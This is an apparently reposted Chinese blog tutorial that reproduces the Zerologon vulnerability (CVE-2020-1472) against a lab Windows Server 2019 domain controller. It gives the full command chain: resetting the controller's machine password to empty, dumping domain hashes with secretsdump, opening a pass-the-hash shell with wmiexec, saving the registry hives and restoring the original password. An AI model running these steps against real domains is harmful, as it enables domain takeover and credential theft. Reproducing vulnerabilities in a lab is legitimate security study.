当前位置:   article > 正文

CVE-2020-1472复现_cve-2020-1472 手工恢复密码

cve-2020-1472 手工恢复密码

域环境搭建

环境:windows server 2019

在这里插入图片描述

下一步等待安装完成。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞验证

使用如下命令进行验证:

git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472
python3 -m pip install -r requirements.txt
python3 zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
  • 1
  • 2
  • 3
  • 4

出现下图提示证明存在该漏洞:
在这里插入图片描述

漏洞利用

安装Impacket

git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 -m pip install .
  • 1
  • 2
  • 3

下载EXP

# ~/impacket/
cd examples
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472
  • 1
  • 2
  • 3
  • 4

置空密码

# ~impacket/examples/CVE-2020-1472
python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR
  • 1
  • 2

在这里插入图片描述
这时候密码已经置空

注意:对域控服务器有影响,谨慎使用

获取HASH

接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义。

~impacket/examples/

# windows
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
# others
python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME\$@DC_IP_ADDR -just-dc -no-pass
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

在这里插入图片描述

获取SHELL

获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL

~impacket/examples/

python3 wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
  • 1
  • 2
  • 3

在这里插入图片描述

获取原HASH

获取SHELL后我们执行以下命令,导出SAM中原来的HASH

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

在这里插入图片描述

解析HASH

执行如下命令,利用secretsdump.py解析保存在本地的nt hash

# ~impacket/examples

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
  • 1
  • 2
  • 3

在这里插入图片描述

然后我们保存上图中红框部分,即

# ORI_HASH

1137237a2d7ad836d83e4da7xxxxx676c
  • 1
  • 2
  • 3

恢复HASH

# ~impacket/examples/zerologon

git clone https://github.com/risksense/zerologon
cd zerologon
python3 reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>
  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

检查是否恢复

我们这时候再用获取HASH时测试一下是否已经已经恢复

# ~/impacket/examples

python3 secretsdump.py test.com/user:password@DC_IP_ADDR -just-dc-user 'DC_NETBIOS_NAME$'
  • 1
  • 2
  • 3

在这里插入图片描述

本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号